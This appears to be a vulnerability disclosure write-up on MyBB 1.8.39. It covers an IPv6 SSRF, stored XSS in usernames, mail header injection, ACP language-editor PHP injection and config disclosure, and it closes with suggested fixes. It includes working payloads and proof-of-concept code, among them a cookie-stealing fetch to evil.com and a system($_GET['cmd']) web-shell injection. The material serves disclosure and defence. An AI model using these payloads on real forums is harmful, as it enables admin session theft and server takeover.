MyBB 1.8.39 — IPv6 SSRF via remote avatar, stored XSS in buddy selector, mail header injection, ACP language-properties RCE, and a chain from regular user to code execution
MyBB 1.8.39 is the latest release as of writing. I set up a lab with the SQLite backend and PHP 8.3 dev server, then went looking for anything that would chain from a regular user account to something interesting. Found five distinct vulnerabilities and a chain that gets you from “registered user” to “PHP code execution on the server” — with the caveat that the chain requires the victim to be an admin who has the attacker in their buddy list and clicks a checkbox in the buddy selector. Not zero-click, but realistic enough in small forums where admins interact with users.
the lab
MyBB : 1.8.39 (mybb_1839 release from GitHub, 2025-06-02)
PHP : 8.3.30 dev server on http://127.0.0.1:8099/
Database : SQLite (db.sqlite3)
SSRF target : IPv6 HTTP server on http://[::1]:8080/ serving secret.txt
Mail handler : PHP native mail() (not SMTP)
IPv6 SSRF via remote avatar fetching
Remote avatars are enabled by default ($settings['allowremoteavatars'] = "1"). When a user sets a remote avatar URL, MyBB fetches it server-side to validate the image. The denylist that prevents SSRF is in $config['disallowed_remote_addresses'] — but it only contains IPv4 ranges:
$config['disallowed_remote_addresses'] = array(
'localhost',
'127.0.0.0/8',
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
);
No ::1. No fc00::/7. No IPv6 at all.
The function that resolves hostnames to check against the denylist is get_ip_by_hostname() in inc/functions.php. It calls dns_get_record() and extracts IPs:
function get_ip_by_hostname($hostname)
{
$result_set = dns_get_record($hostname, DNS_A | DNS_AAAA);
if (!$result_set) return false;
$ips = array_column($result_set, 'ip'); // ← only extracts 'ip' key
return $ips;
}
The problem: dns_get_record() returns IPv4 addresses in the ip key and IPv6 addresses in the ipv6 key. array_column($result_set, 'ip') only extracts IPv4 addresses. IPv6 results are silently dropped.
So if you point your avatar URL at an AAAA-only hostname that resolves to ::1:
http://0000-0000-0000-0000-0000-0000-0000-0001.sslip.io:8080/secret.txt
sslip.io returns an AAAA record for ::1. get_ip_by_hostname() returns an empty array (no ip key in the DNS response). The denylist check passes because there’s nothing to check. PHP then connects to [::1]:8080 and fetches the file.
The internal server log confirms successful hits:
2026-05-05 00:11:16 - - [05/May/2026 00:11:16] "GET /secret.txt HTTP/1.0" 200 -
Blind GET SSRF. The response isn’t returned to the user directly (it’s validated as an image), but the request is made. Impact depends on what’s listening on IPv6 loopback — cloud metadata services, internal admin panels, databases with HTTP APIs. On a default lab setup it reads secret.txt off the internal server.
stored XSS in buddy selector
MyBB’s username validation accepts single quotes and newline characters. The buddy selector renders usernames in an inline onclick handler wrapped in single quotes:
<input type="checkbox"
onclick="UserCP.selectBuddy('{$buddy['uid']}', '{$buddy['username']}');" />
The escaping function is htmlspecialchars_uni(), which escapes <, >, ", & — but not ' or line terminators. A username like:
')\nalert(1337)//
After escaping (which does nothing to it) renders as:
onclick="UserCP.selectBuddy('5', '')\nalert(1337)//');"
The single quote closes the string, the ) closes the function call, the newline starts a new statement, and alert(1337) executes. Everything after // is a comment that swallows the dangling syntax.
This fires in both the AJAX buddy selector (xmlhttp.php:1048-1068) and the non-AJAX buddy popup. The attacker registers an account with the payload username, gets added to someone’s buddy list, and waits for them to interact with the buddy selector. The XSS fires in the victim’s browser.
PoC verification:
// simulate MyBB's escaping
function htmlspecialchars_uni($message) {
$message = preg_replace(
"/&(?!#[0-9]+;)/si", "&",
$message
);
$message = str_replace("<", "<", $message);
$message = str_replace(">", ">", $message);
$message = str_replace('"', """, $message);
return $message;
}
$username = "')\nalert(1337)//";
$escaped = htmlspecialchars_uni($username);
$onclick = "UserCP.selectBuddy('5', '{$escaped}');";
// onclick = UserCP.selectBuddy('5', '')\nalert(1337)//');
// → valid JS: closes string, closes call, newline, alert executes
mail header injection via username newline
The same newline-accepting username validation creates a second vulnerability in the mail system. When a user triggers an email (e.g., buddy notifications, email-a-user), MyBB constructs mail headers using the username:
// class_mailhandler.php:319-322
$this->headers .= "Return-Path: {$this->return_email}\n";
$this->headers .= "Reply-To: {$this->return_email}\n";
If the username (used as part of the return email or display name) contains a newline, it injects additional headers:
Username: Attacker\nBcc: victim@example.test
Return-Path: Attacker\nBcc: victim@example.test@forum.example.com
The \n breaks the header, and Bcc: victim@example.test becomes a separate header line. This allows blind carbon copy injection — send copies of forum emails to arbitrary addresses.
Preconditions: registered account, PHP mail handler (not SMTP — SMTP implementations generally reject bare \n), target must be emailable, user group must have cansendemail permission. On forums using the default PHP mail() handler, this works.
ACP language-properties editor → PHP code injection → RCE
The Admin Control Panel’s language editor at admin/modules/config/languages.php lets admins modify language pack metadata. The editor writes the metadata into a PHP file that gets include()’d when the language is loaded. The escaping on the values:
// admin/modules/config/languages.php:54
$info = str_replace("\"", '\"', $info); // only escapes double-quotes
// writes: $langinfo['name'] = "{$info}";
It escapes " but not \. So a backslash before a double-quote escapes the escape:
Payload: \"; file_put_contents(__DIR__.'/rce_marker.txt','MYBB_LANGUAGE_RCE'); //
After the str_replace, the " becomes \". But our leading \ turns the pair into \\" — an escaped backslash followed by an unescaped quote. The generated PHP:
$langinfo['name'] = "\\"; file_put_contents(__DIR__.'/rce_marker.txt','MYBB_LANGUAGE_RCE'); //";
Parse it: "\\\" is the string containing a literal backslash. Then ; file_put_contents(...) executes as PHP. The // comments out the trailing ";.
When class_language.php:107-109 includes the language file on the next page load, the injected PHP executes. Arbitrary code execution on the server.
PoC:
// recreate the vulnerable escaping
$input = '\"; file_put_contents(__DIR__.\'/rce_marker.txt\',\'MYBB_LANGUAGE_RCE\'); //';
$escaped = str_replace('"', '\"', $input);
$php_code = '<?php $langinfo[\'name\'] = "' . $escaped . '";';
$tmpfile = tempnam(sys_get_temp_dir(), 'mybb_lang_');
file_put_contents($tmpfile, $php_code);
include($tmpfile);
// rce_marker.txt now exists with content "MYBB_LANGUAGE_RCE"
assert(file_exists(__DIR__ . '/rce_marker.txt'));
Precondition: attacker has ACP access with language-edit permissions. In isolation this requires admin access — but it chains with the XSS finding.
template globals config disclosure
The ACP template editor has a blacklist check (check_template()) that blocks direct access to the $config variable:
// blocks: {$config['database']['password']}
if (preg_match('/\{\$config\b/i', $template)) {
return false; // rejected
}
But it doesn’t block $GLOBALS:
// bypasses the check: {$GLOBALS['config']['database']['password']}
// check_template() doesn't match — no "$config" directly after "$"
Since MyBB’s template engine evaluates templates as PHP (via eval()), the $GLOBALS path resolves to the same $config array. An admin with template-edit permissions can disclose database credentials, hostname, table prefix — everything in inc/config.php.
Impact is higher on MySQL/MariaDB deployments where the database credentials are actual credentials, versus SQLite where they’re typically blank.
the chain — regular user to code execution
The individual findings chain together:
1. Register account with XSS payload username: ')\nfetch('https://evil.com/steal?c='+document.cookie)//
2. Get added to admin's buddy list
(post helpful content, be a regular user, social-engineer it)
3. Admin clicks buddy checkbox in UserCP
→ XSS fires in admin's browser
→ admin's ACP session cookie exfiltrated
4. Attacker uses admin session to access ACP
5. ACP → Configuration → Languages → Edit language properties
→ inject PHP via backslash-quote breakout:
\"; system($_GET['cmd']); //
6. Language file included on next page load → RCE
The chain requires:
- Registered account (free on most forums)
- Admin has attacker in buddy list (social engineering)
- Admin clicks the buddy checkbox (somewhat likely if they use the buddy list)
- Admin has an active ACP session (common for active admins)
- Admin has language-edit permission (default for super admins)
Not zero-click. Not even particularly likely in most scenarios. But on small/medium forums where admins interact with the community and use the buddy list? Plausible. And the individual findings — especially the IPv6 SSRF and the language-properties RCE — are independently useful depending on your access level.
suggested fixes
- SSRF: Validate both
ipandipv6keys fromdns_get_record(). Add IPv6 loopback (::1) and private ranges (fc00::/7,fe80::/10) to the denylist. - XSS: Reject control characters (
\n,\r,\t) in usernames. Use JavaScript-context encoding instead of HTML encoding for values inonclickhandlers. Better: move todata-*attributes with delegated event listeners. - Mail injection: Sanitize mail headers — strip
\n,\rfrom all header values. Or reject usernames containing control characters. - Language RCE: Escape both
"and\in language metadata values. Better: usevar_export()instead of manual string interpolation for PHP value serialization. - Template globals: Block
$GLOBALSincheck_template(). Better: use an allowlist instead of a blacklist for template variable access.